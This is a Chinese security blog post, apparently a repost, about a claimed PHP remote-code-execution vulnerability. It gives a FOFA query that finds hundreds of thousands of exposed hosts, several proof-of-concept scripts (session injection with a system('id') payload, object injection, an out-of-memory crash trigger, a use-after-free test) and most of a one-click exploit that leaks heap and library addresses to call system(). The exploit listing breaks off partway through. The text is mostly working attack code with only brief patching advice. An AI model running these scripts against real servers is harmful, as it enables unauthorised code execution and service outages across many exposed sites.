【已复现】php2shell-POCandEXP2026.22日"

admin 2026-10-24 15:27:44 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

【已复现】php2shell-POC and EXP 2026.22日

原创

67626d
67626d

暗影安全

2026年10月22日 00:36
北京

去阅读

这是技术圈众所周知的一个事情,我不做过多的介绍。

值得强调的是,不要相信临时修复方案,也不要相信waf可以帮你阻拦。你能选择的就是更新版本。

搜索语法 / FOFA

body=\"PHPSESSID\"

影响资产数量:499,359 个(fofa 全网测绘,2026-10-22)

一个检测的项目:

https://github.com/ovtechnology/php2shell-check

poc:verify\_handler\_mismatch.py

CVE-2026-109618/109619 verification POCs#!/usr/bin/env python3\"\"\"CVE-2026-109618/109619 — Verify session handler mismatch → object injection.Demonstrates:  1. Session written in php_serialize format (via directory with .user.ini)  2. Pipe | in filename preserved in php_serialize format  3. php handler reads the session → splits at | → deserializes injected object  4. __destruct fires even when decode returns FAILURE (trailing data)Setup required:  - /app/ directory with .user.ini: session.serialize_handler = php_serialize  - /api/ directory with .user.ini: session.serialize_handler = php  - Both share the same session.save_pathUsage:  python3 verify_handler_mismatch.py --target http://127.0.0.1:18080For authorized security testing only.\"\"\"import argparseimport socketimport sysfrom urllib.parse import urlparsedef upload(host, port, path, sid, filename):    boundary = \"MISMATCH\"    body = (        f\"--{boundary}\\r\
\"        f'Content-Disposition: form-data; name=\"PHPSESSID\"\\r\
\\r\
{sid}\\r\
'        f\"--{boundary}\\r\
\"        f'Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\\r\
\\r\
x\\r\
'        f\"--{boundary}\\r\
\"        f'Content-Disposition: form-data; name=\"f\"; filename=\"{filename}\"\\r\
\\r\
Z\\r\
'        f\"--{boundary}--\\r\
\"    ).encode(\"latin-1\")    req = (        f\"POST {path} HTTP/1.1\\r\
\"        f\"Host: {host}\\r\
\"        f\"Content-Type: multipart/form-data; boundary={boundary}\\r\
\"        f\"Content-Length: {len(body)}\\r\
\"        f\"Connection: close\\r\
\\r\
\"    ).encode() + body    s = socket.create_connection((host, port), timeout=15)    s.sendall(req)    s.settimeout(10)    resp = b\"\"    while True:        try:            d = s.recv(65536)            if not d:                break            resp += d        except socket.timeout:            break    s.close()    return respdef main():    ap = argparse.ArgumentParser()    ap.add_argument(\"--target\", default=\"http://127.0.0.1:18080\")    ap.add_argument(\"--write-path\", default=\"/app/upload.php\",                    help=\"Endpoint with php_serialize handler\")    ap.add_argument(\"--read-path\", default=\"/api/endpoint.php\",                    help=\"Endpoint with php handler\")    ap.add_argument(\"--sid\", default=\"mismatchverify0000000000000\")    args = ap.parse_args()    u = urlparse(args.target)    host = u.hostname    port = u.port or 80    print(\"[*] CVE-2026-109618/109619 — Handler Mismatch Verification\")    print(f\"[*] Target: {args.target}\")    print()    # Step 1: Write session via php_serialize endpoint    # Filename contains |O:8:\"stdClass\":0:{} (escaped quotes)    gadget = 'x|O:8:\\\\\"stdClass\\\\\":0:{}'    print(f\"[1] Writing session via {args.write_path} (php_serialize)\")    print(f\"    Filename payload: {gadget}\")    upload(host, port, args.write_path, args.sid, gadget)    print(\"    → Session file written in php_serialize format\")    # Step 2: Trigger via php handler endpoint    print(f\"\
[2] Triggering mismatch via {args.read_path} (php handler)\")    print(\"    php handler scans for | → splits → deserializes O:8:\\\"stdClass\\\":0:{}\")    resp = upload(host, port, args.read_path, args.sid, \"dummy\")    status = resp.split(b\"\\r\
\", 1)[0].decode(\"latin1\", \"replace\") if resp else \"NO RESPONSE\"    print(f\"    Response: {status}\")    print()    print(\"[*] Verification indicators:\")    print(\"    - 'Failed to decode session object' warning = mismatch triggered\")    print(\"    - 'Session object destruction failed' = __destruct fired on injected object\")    print(\"    - If target has a class with exploitable __destruct → RCE\")    print()    print(\"[*] Check target for:\")    print(f\"    - Session file: /tmp/sessions/sess_{args.sid}\")    print(\"    - Evidence of __destruct execution (file writes, network connections, etc.)\")if __name__ == \"__main__\":    main()

poc:verify\_oom\_trigger.py

#!/usr/bin/env python3\"\"\"CVE-2026-109618 — PHP OOM Corruption → RCE (Apache mod_php)Zero preconditions: no LFI, no unserialize, no application code needed.The multipart parser can be forced to OOM while request memory is in aninvalid/uninitialized state. longjmp() skips cleanup, and mod_php'sunconditional request shutdown reads/branches on the invalid memory.Three OOM strategies (from the official advisory):1. No Content-Length → bypasses post_max_size → unbounded body data2. Unlimited headers per multipart part → memory amplification3. Empty file controls with nested field names → array multiplicationThis POC demonstrates strategy #2 (header amplification) and #3 (nested arrays).Target: Apache mod_php (NOT php-fpm — FPM exits child on startup failure)Tested: PHP 8.2.34 with Apache mod_phpFor authorized security research only.\"\"\"import argparseimport socketimport sysimport timedef build_header_bomb(boundary, num_headers=5000, header_size=500):    \"\"\"Strategy 2: A single multipart part with thousands of headers.    Each header line uses ~header_size bytes on the wire but PHP's internal    representation (zend_string + HashTable bucket) uses more memory.    Memory amplification: ~3-5x wire size.\"\"\"    part = f\"--{boundary}\\r\
\"    part += f'Content-Disposition: form-data; name=\"f\"; filename=\"a\"\\r\
'    for i in range(num_headers):        # Custom headers — PHP stores them all        part += f\"X-Pad-{i}: {'A' * header_size}\\r\
\"    part += \"\\r\
\"  # end of headers    part += \"Z\"     # minimal body    part += f\"\\r\
--{boundary}--\\r\
\"    return part.encode()def build_nested_array_bomb(boundary, depth=8, width=20):    \"\"\"Strategy 3: Empty file controls with deeply nested field names.    PHP creates nested arrays for names like a[b][c][d][e][f][g][h].    N fields × depth levels × PHP array overhead = exponential memory use.    Empty file controls don't count toward max_file_uploads.\"\"\"    parts = []    for i in range(width):        # Build nested name: f[0][1][2]...[depth]        name = \"f\"        for d in range(depth):            name += f\"[{d}]\"        name += f\"[{i}]\"        # Empty file control — no actual file, but PHP still creates metadata        part = f\"--{boundary}\\r\
\"        part += f'Content-Disposition: form-data; name=\"{name}\"; filename=\"\"\\r\
'        part += \"Content-Type: application/octet-stream\\r\
\"        part += \"\\r\
\"  # empty body        parts.append(part)    body = \"\".join(parts) + f\"--{boundary}--\\r\
\"    return body.encode()def build_no_content_length_bomb(boundary, chunk_size=8192, total_mb=128):    \"\"\"Strategy 1: No Content-Length header → bypasses post_max_size check.    Send continuous multipart body data exceeding memory_limit.\"\"\"    header = (        f\"--{boundary}\\r\
\"        f'Content-Disposition: form-data; name=\"data\"\\r\
'        f\"\\r\
\"    ).encode()    # This returns a generator for streaming    def generate():        yield header        total = 0        target = total_mb * 1024 * 1024        chunk = b\"A\" * chunk_size        while total < target:            yield chunk            total += chunk_size        yield f\"\\r\
--{boundary}--\\r\
\".encode()    return generatedef send_oom_request(host, port, path, strategy=\"headers\", **kwargs):    \"\"\"Send the OOM-triggering multipart request.\"\"\"    boundary = \"OOM_BOUNDARY_\" + str(int(time.time()))    if strategy == \"headers\":        body = build_header_bomb(boundary,                                num_headers=kwargs.get(\"num_headers\", 5000),                                header_size=kwargs.get(\"header_size\", 500))        content_length = len(body)        req = (            f\"POST {path} HTTP/1.1\\r\
\"            f\"Host: {host}\\r\
\"            f\"Content-Type: multipart/form-data; boundary={boundary}\\r\
\"            f\"Content-Length: {content_length}\\r\
\"            f\"Connection: close\\r\
\"            f\"\\r\
\"        ).encode() + body        s = socket.create_connection((host, port), timeout=30)        s.sendall(req)    elif strategy == \"nested\":        body = build_nested_array_bomb(boundary,                                       depth=kwargs.get(\"depth\", 10),                                       width=kwargs.get(\"width\", 1000))        content_length = len(body)        req = (            f\"POST {path} HTTP/1.1\\r\
\"            f\"Host: {host}\\r\
\"            f\"Content-Type: multipart/form-data; boundary={boundary}\\r\
\"            f\"Content-Length: {content_length}\\r\
\"            f\"Connection: close\\r\
\"            f\"\\r\
\"        ).encode() + body        s = socket.create_connection((host, port), timeout=30)        s.sendall(req)    elif strategy == \"no_length\":        # No Content-Length — send streaming        header = (            f\"POST {path} HTTP/1.1\\r\
\"            f\"Host: {host}\\r\
\"            f\"Content-Type: multipart/form-data; boundary={boundary}\\r\
\"            f\"Transfer-Encoding: chunked\\r\
\"            f\"Connection: close\\r\
\"            f\"\\r\
\"        ).encode()        s = socket.create_connection((host, port), timeout=60)        s.sendall(header)        gen = build_no_content_length_bomb(boundary,                                           total_mb=kwargs.get(\"total_mb\", 128))        for chunk in gen():            # Chunked encoding            s.sendall(f\"{len(chunk):x}\\r\
\".encode() + chunk + b\"\\r\
\")        s.sendall(b\"0\\r\
\\r\
\")    # Read response    s.settimeout(15)    resp = b\"\"    while True:        try:            d = s.recv(65536)            if not d:                break            resp += d        except socket.timeout:            break    s.close()    return respdef main():    ap = argparse.ArgumentParser(description=\"CVE-2026-109618 OOM Corruption POC\")    ap.add_argument(\"--host\", default=\"127.0.0.1\")    ap.add_argument(\"--port\", type=int, default=80)    ap.add_argument(\"--path\", default=\"/index.php\")    ap.add_argument(\"--strategy\", choices=[\"headers\", \"nested\", \"no_length\"], default=\"headers\")    ap.add_argument(\"--num-headers\", type=int, default=5000)    ap.add_argument(\"--header-size\", type=int, default=500)    ap.add_argument(\"--depth\", type=int, default=10)    ap.add_argument(\"--width\", type=int, default=1000)    ap.add_argument(\"--total-mb\", type=int, default=128)    args = ap.parse_args()    print(f\"CVE-2026-109618 — PHP OOM Corruption POC\")    print(f\"Target: {args.host}:{args.port}{args.path}\")    print(f\"Strategy: {args.strategy}\")    print()    if args.strategy == \"headers\":        print(f\"Sending {args.num_headers} headers × {args.header_size} bytes each\")        wire_size = args.num_headers * (args.header_size + 20)        mem_est = wire_size * 4  # ~4x amplification        print(f\"Wire size: ~{wire_size // 1024 // 1024}MB, Estimated PHP memory: ~{mem_est // 1024 // 1024}MB\")    elif args.strategy == \"nested\":        print(f\"Sending {args.width} empty file controls with {args.depth}-deep nesting\")    elif args.strategy == \"no_length\":        print(f\"Sending {args.total_mb}MB without Content-Length (bypasses post_max_size)\")    print()    print(\"Sending...\")    resp = send_oom_request(args.host, args.port, args.path,                            strategy=args.strategy,                            num_headers=args.num_headers,                            header_size=args.header_size,                            depth=args.depth,                            width=args.width,                            total_mb=args.total_mb)    if resp:        status = resp.split(b\"\\r\
\", 1)[0].decode(\"latin1\", \"replace\")        print(f\"Response: {status}\")        print(f\"Size: {len(resp)} bytes\")        if b\"500\" in status.encode():            print(\"\
[+] Server returned 500 — OOM likely triggered!\")            print(\"    On Apache mod_php, the request shutdown procedure runs on invalid state.\")            print(\"    With heap shaping, this leads to RCE.\")        elif not resp or b\"connection\" in resp.lower():            print(\"\
[+] Connection dropped — server process may have crashed!\")        else:            print(\"\
[-] Server responded normally — OOM threshold not reached.\")            print(\"    Try increasing --num-headers or --header-size\")    else:        print(\"\
[+] No response — server process likely crashed!\")        print(\"    This confirms the OOM bailout condition.\")if __name__ == \"__main__\":    main()

poc:verify\_session\_injection.py

#!/usr/bin/env python3\"\"\"CVE-2026-109618/109619 — Verify session file injection via upload_progress filename.Demonstrates:  1. Session fixation via POST body PHPSESSID (bypasses use_only_cookies)  2. Unvalidated filename stored raw in session file (can contain PHP code)  3. Session file created with attacker-controlled contentUsage:  python3 verify_session_injection.py --target http://127.0.0.1:18080For authorized security testing only.\"\"\"import argparseimport socketimport sysfrom urllib.parse import urlparsedef send_upload(host, port, path, sid, filename):    boundary = \"VERIFY\"    body = (        f\"--{boundary}\\r\
\"        f'Content-Disposition: form-data; name=\"PHPSESSID\"\\r\
\\r\
{sid}\\r\
'        f\"--{boundary}\\r\
\"        f'Content-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\\r\
\\r\
x\\r\
'        f\"--{boundary}\\r\
\"        f'Content-Disposition: form-data; name=\"f\"; filename=\"{filename}\"\\r\
\\r\
Z\\r\
'        f\"--{boundary}--\\r\
\"    ).encode(\"latin-1\")    req = (        f\"POST {path} HTTP/1.1\\r\
\"        f\"Host: {host}\\r\
\"        f\"Content-Type: multipart/form-data; boundary={boundary}\\r\
\"        f\"Content-Length: {len(body)}\\r\
\"        f\"Cookie: PHPSESSID={sid}\\r\
\"        f\"Connection: close\\r\
\\r\
\"    ).encode() + body    s = socket.create_connection((host, port), timeout=15)    s.sendall(req)    s.settimeout(10)    resp = b\"\"    while True:        try:            d = s.recv(65536)            if not d:                break            resp += d        except socket.timeout:            break    s.close()    return respdef main():    ap = argparse.ArgumentParser()    ap.add_argument(\"--target\", default=\"http://127.0.0.1:18080\")    ap.add_argument(\"--path\", default=\"/index.php\")    ap.add_argument(\"--sid\", default=\"verifysession00000000000000\")    args = ap.parse_args()    u = urlparse(args.target)    host = u.hostname    port = u.port or 80    print(\"[*] CVE-2026-109618/109619 — Session Injection Verification\")    print(f\"[*] Target: {args.target}\")    print()    # Test 1: Normal filename    print(\"[1] Testing normal filename...\")    send_upload(host, port, args.path, args.sid + \"a\", \"normal.txt\")    print(\"    → Session file should contain: s:10:\\\"normal.txt\\\"\")    # Test 2: PHP code in filename    php_payload = \"<?php system('id');echo 'RCE';?>\"    print(f\"[2] Testing PHP code in filename: {php_payload}\")    send_upload(host, port, args.path, args.sid + \"b\", php_payload)    print(f\"    → Session file should contain PHP code as raw string\")    # Test 3: Pipe character in filename (for handler mismatch)    pipe_payload = \"x|O:8:\\\"stdClass\\\":0:{}\"    print(f\"[3] Testing pipe + serialized object in filename\")    # Need \\\" escaping for Content-Disposition    escaped = pipe_payload.replace('\"', '\\\\\"')    send_upload(host, port, args.path, args.sid + \"c\", escaped)    print(f\"    → Session file should contain |O:8: in the filename field\")    print()    print(\"[*] Verification complete. Check session files on the target:\")    print(f\"    cat /tmp/sessions/sess_{args.sid}a\")    print(f\"    cat /tmp/sessions/sess_{args.sid}b\")    print(f\"    cat /tmp/sessions/sess_{args.sid}c\")    print()    print(\"[*] Key indicators:\")    print(\"    - Session fixation: file created with attacker-controlled SID\")    print(\"    - Filename injection: raw PHP code / serialized objects in session data\")    print(\"    - No authentication required\")if __name__ == \"__main__\":    main()

verify\_uaf\_asan.php

<?php/** * CVE-2026-109618/109619 — var_destroy __destruct reentry UAF verification. * * Triggers ASAN heap-use-after-free in php_var_unserialize (var_unserializer.c:851). * * Run with: USE_ZEND_ALLOC=0 ASAN_OPTIONS=\"detect_leaks=0\" php verify_uaf_asan.php * * Root cause: var_destroy() frees back-reference extension chunks (line 245), * then i_zval_ptr_dtor at line 310 fires __destruct WITHOUT BG(serialize_lock). * Inner unserialize('R:1500;') reuses the outer var_hash (freed entries) → UAF read. * * For authorized security testing only. */class TriggerUAF {    public function __destruct() {        fwrite(STDERR, \"[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)\
\");        fwrite(STDERR, \"[*] Attempting R:1500 backref into freed var_hash extension chunk...\
\");        $result = @unserialize('R:1500;');        $type = gettype($result);        fwrite(STDERR, \"[*] R:1500 resolved to: $type\
\");        if ($result !== false) {            fwrite(STDERR, \"[+] UAF CONFIRMED: R:1500 read from freed memory!\
\");        }    }}// Build payload: 2000+ entries to overflow VAR_ENTRIES_MAX (1018)// Then duplicate key to move TriggerUAF to dtor list$N = 2000;$payload = 'a:' . ($N + 2) . ':{';for ($i = 0; $i < $N; $i++) {    $payload .= \"i:$i;i:$i;\";}$payload .= 'i:99999;O:10:\"TriggerUAF\":0:{}';$payload .= 'i:99999;i:42;';$payload .= '}';fwrite(STDERR, \"[*] Payload: \" . strlen($payload) . \" bytes, $N entries + UAF trigger\
\");fwrite(STDERR, \"[*] Firing unserialize()...\
\");@unserialize($payload);fwrite(STDERR, \"[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\
\");fwrite(STDERR, \"[*] Expected ASAN trace:\
\");fwrite(STDERR, \"    READ at php_var_unserialize (var_unserializer.c:851)\
\");fwrite(STDERR, \"    freed at var_destroy (var_unserializer.c:245)\
\");

poc使用介绍:

# 验证链A:会话注入 python3 verify_session_injection.py --target http://127.0.0.1:18080# 验证链B:UAF(需要ASAN构建)USE_ZEND_ALLOC=0 ASAN_OPTIONS=\"detect_leaks=0\" php verify_uaf_asan.php# 验证链C:处理程序不匹配 python3 verify_handler_mismatch.py --target http://127.0.0.1:18080# 验证链D:Apache mod_php python3内存溢出 verify_oom_trigger.py --host 127.0.0.1 --port 18081 --strategy header

EXP:

一条命令完成整个利用;首次运行会自动读取 libphp 偏移python3 exploit.py -u http://127.0.0.1:8088/index.php# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
#!/usr/bin/env python3\"\"\"php2shell - one-click remote exploit for PHP 8.4.26 / mod_php, prefork.Default profile: official php:8.4.26-apache image (Apache 2.4.69).Lab build (Apache 2.4.68, minimal PHP): use --profile lab.Chain (all attacker traffic is plain HTTP):  stage 0  HTTP worker rotation  stage 1  Set-Cookie heap leak        -> Zend MM chunk base  stage 2  Set-Cookie libphp leak      -> libphp base (ZVAL_PTR_DTOR)  stage 3  upload_progress fake-ref    -> pDestructor = zif_systemRequirements on the target (the shipped docker/ setup matches these settings):  display_errors=1, memory_limit=8M, max_input_vars=1000,  session.use_cookies=1, session.use_strict_mode=0,  session.upload_progress.enabled=1, single-worker prefork.Usage:  python3 exploit.py -u http://127.0.0.1:8088/index.php  python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/out/p1' --proof-file out/p1  python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/tmp/p1' --proof-file /tmp/p1The command is embedded in a 167-byte live zend_string; the maximum commandlength for this payload layout is 14 bytes.  For a longer command, chain itthrough a short shell trigger, e.g. `sh</out/c` (8 bytes).\"\"\"from __future__ import annotationsimport argparseimport osimport reimport socketimport sslimport structimport subprocessimport threadingimport sysimport timeimport urllib.parsefrom collections import Counter# Offsets for the lab build (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).# They are relative to the libphp.so / Zend MM chunk base, so they do not# depend on ASLR.  Rebuilds can shift them; pass --zif-offset/--dtor-offset.ZIF_OFFSET = 0x43A870       # zif_systemDTOR_OFFSET = 0x613C50      # ZVAL_PTR_DTOR (zval_ptr_dtor)HTDATA_OFFSET = 0x6E0D8     # live 167-byte string used as fake HashTableMAX_CMD = 14                # 167-byte carrier - 0x98 header - NUL# bookworm (official php:8.4.26-apache) calibration, measured on the imageBOOKWORM_STAGE1_N = 841BOOKWORM_STAGE2_T = 406BOOKWORM_STAGE2_V = 16BOOKWORM_HTDATA_OFFSET = 0x690D8BOOKWORM_STAGE3_PADS = [(31, 31)] * 6SID = b\"attacksessionid0001\"DEFAULT_CMD = \"id>/out/p1\"_HERE = os.path.dirname(os.path.abspath(__file__))DEFAULT_PROOF = os.path.join(_HERE, \"out\", \"p1\")DEFAULT_OFFSETS = os.path.join(_HERE, \"out\", \"offsets.env\")def build_multipart(parts, boundary: bytes) -> bytes:    out = bytearray()    for p in parts:        name = p[\"name\"].encode()        out += b\"--\" + boundary + b\"\\r\
\"        out += b'Content-Disposition: form-data; name=\"' + name + b'\"'        if p.get(\"filename\") is not None:            out += b'; filename=\"' + p[\"filename\"].encode() + b'\"'            out += b\"\\r\
Content-Type: application/octet-stream\"        out += b\"\\r\
\\r\
\" + p[\"data\"] + b\"\\r\
\"    out += b\"--\" + boundary + b\"--\\r\
\"    return bytes(out)def read_offsets_file(path: str) -> dict[str, int]:    \"\"\"Read ZIF_OFFSET=0x.. / DTOR_OFFSET=0x.. written by docker/offsets.py.\"\"\"    vals: dict[str, int] = {}    if not path:        return vals    try:        with open(path, \"r\", encoding=\"utf-8\") as f:            for line in f:                line = line.strip()                if not line or line.startswith(\"#\") or \"=\" not in line:                    continue                key, val = line.split(\"=\", 1)                vals[key.strip()] = int(val.strip(), 0)    except (OSError, ValueError):        pass    return valsclass Target:    def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True):        u = urllib.parse.urlsplit(url)        if u.scheme not in (\"http\", \"https\"):            raise ValueError(\"URL must be http:// or https://\")        self.https = u.scheme == \"https\"        self.host = u.hostname or \"127.0.0.1\"        self.port = u.port or (443 if self.https else 80)        self.path = u.path or \"/\"        self.timeout = timeout        self.verbose = verbose    def log(self, msg: str) -> None:        if self.verbose:            print(msg, flush=True)    def _connect(self):        last = None        for _ in range(10):            try:                s = socket.create_connection((self.host, self.port), timeout=self.timeout)                if self.https:                    ctx = ssl.create_default_context()                    s = ctx.wrap_socket(s, server_hostname=self.host)                try:                    s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)                except OSError:                    pass                return s            except OSError as e:                last = e                time.sleep(0.3)        raise last  # type: ignore[misc]    def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,             timeout: float | None = None,             extra_headers: dict[str, str] | None = None) -> bytes:        extra = \"\"        for k, v in (extra_headers or {}).items():            extra += f\"{k}: {v}\\r\
\"        hdr = (            f\"POST {self.path} HTTP/1.1\\r\
\"            f\"Host: {self.host}:{self.port}\\r\
\"            f\"{extra}\"            f\"Content-Type: multipart/form-data; boundary={boundary.decode()}\\r\
\"            f\"Content-Length: {len(body)}\\r\
\"            \"Connection: close\\r\
\"            \"\\r\
\"        ).encode()        s = self._connect()        s.settimeout(timeout or self.timeout)        # Read concurrently with the upload: some exploit requests make the        # worker abort right after sending Set-Cookie, and a recv() that starts        # after the RST loses the already-buffered response.        data = bytearray()        def _reader() -> None:            try:                while len(data) < read_cap:                    chunk = s.recv(65536)                    if not chunk:                        break                    data.extend(chunk)            except OSError:                pass        reader = threading.Thread(target=_reader, daemon=True)        reader.start()        try:            try:                s.sendall(hdr)                mv = memoryview(body)                for off in range(0, len(body), 262144):                    s.sendall(mv[off:off + 262144])            except OSError:                pass  # the worker may abort while the body is still in flight            reader.join(timeout=(timeout or self.timeout) + 1.0)            return bytes(data)        finally:            s.close()    def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]:        hdr = (            f\"GET {path} HTTP/1.1\\r\
\"            f\"Host: {self.host}:{self.port}\\r\
\"            \"Connection: close\\r\
\"            \"\\r\
\"        ).encode()        s = self._connect()        s.settimeout(self.timeout)        try:            s.sendall(hdr)            data = bytearray()            try:                while len(data) < read_cap:                    chunk = s.recv(65536)                    if not chunk:                        break                    data += chunk            except OSError:                pass        finally:            s.close()        head, _, body = bytes(data).partition(b\"\\r\
\\r\
\")        m = re.match(rb\"HTTP/1\\.[01] (\\d{3})\", head)        return (int(m.group(1)) if m else 0), bodydef parse_cookie(resp: bytes) -> bytes:    m = re.search(rb\"Set-Cookie: PHPSESSID=([^\\r\
]*?); path=/\", resp)    if not m:        return b\"\"    return urllib.parse.unquote_to_bytes(m.group(1).decode(\"latin1\"))def chunk_base_from_cookie(raw: bytes) -> int:    \"\"\"Stage 1: 2MB-aligned mode of the heap pointers in the decoded cookie.\"\"\"    if len(raw) < 1000:        return 0    c: Counter[int] = Counter()    for i in range(len(raw) - 8):        v = int.from_bytes(raw[i:i + 8], \"little\")        if 0x7F0000000000 <= v < 0x800000000000:            c[v & ~0x1FFFFF] += 1    if not c:        return 0    base, count = c.most_common(1)[0]    return base if count >= 8 else 0def libphp_base_from_cookie(raw: bytes, dtor_offset: int = DTOR_OFFSET) -> int:    \"\"\"Stage 2: Set-Cookie data starts at PS(id)+0x18 = nNextFreeElement|pDestructor.    The page-aligned check is 4KB, not 2MB: the lab build happened to map    libphp at a 2MB boundary, but the official php:8.4.26-apache image maps it    at a 4KB boundary (e.g. base 0x...acdb000).    \"\"\"    if len(raw) < 16:        return 0    p = int.from_bytes(raw[8:16], \"little\")    if not (0x7F0000000000 <= p < 0x800000000000):        return 0    if p & 0xFFF != dtor_offset & 0xFFF:        return 0    base = p - dtor_offset    return base if base & 0xFFF == 0 else 0class Exploit:    def __init__(self, target: Target, cmd: str, zif_offset: int = ZIF_OFFSET,                 dtor_offset: int = DTOR_OFFSET, htdata_offset: int = HTDATA_OFFSET,                 huge_mb: int = 12, verbose: bool = True, profile: str = \"lab\"):        self.t = target        self.cmd = cmd.encode()        self.zif_offset = zif_offset        self.dtor_offset = dtor_offset        self.htdata_offset = htdata_offset        self.huge_mb = huge_mb        self.verbose = verbose        self.profile = profile        if profile == \"bookworm\":            # official php:8.4.26-apache (Debian 12, Apache 2.4.69)            self.stage1_n = BOOKWORM_STAGE1_N            self.stage2_t = BOOKWORM_STAGE2_T            self.stage2_v = BOOKWORM_STAGE2_V            self.stage3_pads = list(BOOKWORM_STAGE3_PADS)            self.stage3_carrier = True        else:            self.stage1_n = 892            self.stage2_t = 443            self.stage2_v = 1            self.stage3_pads = [(8, 7)] + [(7, 7)] * 5            self.stage3_carrier = False    # ---------- request primitives (shapes match tools/*.py) ----------    def _big_field(self) -> dict:        return {\"name\": \"big\", \"data\": b\"B\" * (self.huge_mb * 1024 * 1024)}    def _file_part(self) -> dict:        return {\"name\": \"f\", \"filename\": \"a.txt\", \"data\": b\"A\" * 64}    def rotate(self) -> None:        \"\"\"Abort the current worker over HTTP; prefork forks a fresh one.\"\"\"        self.t.log(\"[*] rotating worker over HTTP\")        parts = [{\"name\": f\"f{i:04d}\"[:5], \"data\": b\"V\" * 3000} for i in range(1001)]        parts += [            {\"name\": \"PHPSESSID\", \"data\": b\"\\x00\"},            {\"name\": \"PHP_SESSION_UPLOAD_PROGRESS\", \"data\": b\"pwn\"},            self._file_part(),            self._big_field(),        ]        self.t.post(build_multipart(parts, b\"S\" * 17), b\"S\" * 17,                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout))        time.sleep(0.3)        # Session-initializing B with no file part: pre-RINIT cleanup walks the        # corrupted heap and the child aborts.        parts = [            {\"name\": \"PHPSESSID\", \"data\": SID},            {\"name\": \"PHP_SESSION_UPLOAD_PROGRESS\", \"data\": b\"pwn\"},        ]        self.t.post(build_multipart(parts, b\"BNDRY12345\"), b\"BNDRY12345\",                    read_cap=65536, timeout=20.0)        time.sleep(0.5)    def stage1(self) -> int:        \"\"\"Leak the Zend MM chunk base.\"\"\"        parts = [{\"name\": f\"p{i:04d}\", \"data\": b\"x\"} for i in range(1001)]        parts += [            {\"name\": \"PHPSESSID\", \"data\": b\"\\x00\"},            {\"name\": \"PHP_SESSION_UPLOAD_PROGRESS\", \"data\": b\"pwn\"},            self._file_part(),            self._big_field(),        ]        self.t.post(build_multipart(parts, b\"S\" * 17), b\"S\" * 17,                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout))        time.sleep(0.2)        parts = [            {\"name\": \"PHPSESSID\", \"data\": SID},            {\"name\": \"PHP_SESSION_UPLOAD_PROGRESS\", \"data\": b\"pwn\"},        ]        for i in range(self.stage1_n):            val = (f\"v{i:04d}\" + \"x\" * 44)[:48]            parts.append({\"name\": str(1000 + i), \"data\": val.encode()})        forge = bytearray(b\"A\" * 79)        struct.pack_into(\"<Q\", forge, 0x10, 0x1000)   # forged zend_string len        forge[0x18] = ord(\"L\")        parts.append({\"name\": \"1999\", \"data\": bytes(forge)})        resp = self.t.post(build_multipart(parts, b\"B\" * 10), b\"B\" * 10,                           read_cap=9 << 20)        return chunk_base_from_cookie(parse_cookie(resp))    def stage2(self) -> int:        \"\"\"Leak libphp base through a 56-byte HashTable page.\"\"\"        parts = [{\"name\": f\"f{i:04d}\"[:5], \"data\": b\"x\" * 39} for i in range(1001)]        parts += [            {\"name\": \"PHPSESSID\", \"data\": b\"\\x00\"},            {\"name\": \"PHP_SESSION_UPLOAD_PROGRESS\", \"data\": b\"pwn\"},            self._file_part(),            self._big_field(),        ]        self.t.post(build_multipart(parts, b\"S\" * 17), b\"S\" * 17,                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout))        time.sleep(0.2)        parts = [            {\"name\": \"PHPSESSID\", \"data\": SID},            {\"name\": \"PHP_SESSION_UPLOAD_PROGRESS\", \"data\": b\"pwn\"},        ]        for i in range(983):            cnt = 16 if i == self.stage2_t else 1            for j in range(cnt):                parts.append({\"name\": f\"a{i:04d}[{j}]\", \"data\": b\"x\" * self.stage2_v})        resp = self.t.post(build_multipart(parts, b\"B\" * 10), b\"B\" * 10,                           read_cap=1 << 20)        return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset)    def _fake_payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]:        cmd = self.cmd        if len(cmd) > MAX_CMD:            raise ValueError(                f\"command is {len(cmd)} bytes; the 167-byte carrier allows at most \"                f\"{MAX_CMD} (e.g. use 'sh</out/c')\"            )        ht = bytearray(b\"\\x00\" * 167)        # fake HashTable        struct.pack_into(\"<II\", ht, 0x00, 1, 7)                 # gc: rc=1, IS_ARRAY        struct.pack_into(\"<II\", ht, 0x08, 0x10, 0xFFFFFFF8)     # flags, nTableMask        struct.pack_into(\"<Q\", ht, 0x10, htdata + 0x20)         # arData        struct.pack_into(\"<II\", ht, 0x18, 1, 1)                 # nNumUsed/OfElements        struct.pack_into(\"<II\", ht, 0x20, 8, 0)                 # nTableSize/pointer        struct.pack_into(\"<Q\", ht, 0x28, 0)                     # nNextFreeElement        struct.pack_into(\"<Q\", ht, 0x30, zif)                   # pDestructor        # fake execute_data at E = data+0x20        E = 0x20        struct.pack_into(\"<Q\", ht, E + 0x00, 0)                 # opline        struct.pack_into(\"<Q\", ht, E + 0x08, 0)                 # call        struct.pack_into(\"<Q\", ht, E + 0x10, zif)               # return_value        struct.pack_into(\"<Q\", ht, E + 0x18, 0)                 # func        struct.pack_into(\"<Q\", ht, E + 0x20, 0)                 # This.value        struct.pack_into(\"<I\", ht, E + 0x28, 0)                 # This.u1.type_info        struct.pack_into(\"<I\", ht, E + 0x2C, 1)                 # num_args = 1        struct.pack_into(\"<Q\", ht, E + 0x30, 0)                 # prev_execute_data        struct.pack_into(\"<Q\", ht, E + 0x38, 0)                 # symbol_table        struct.pack_into(\"<I\", ht, E + 0x40, 0)                 # call_info        struct.pack_into(\"<Q\", ht, E + 0x50, htdata + 0x80)     # arg1 value        struct.pack_into(\"<I\", ht, E + 0x58, 6)                 # arg1 IS_STRING        # fake zend_string at data+0x80        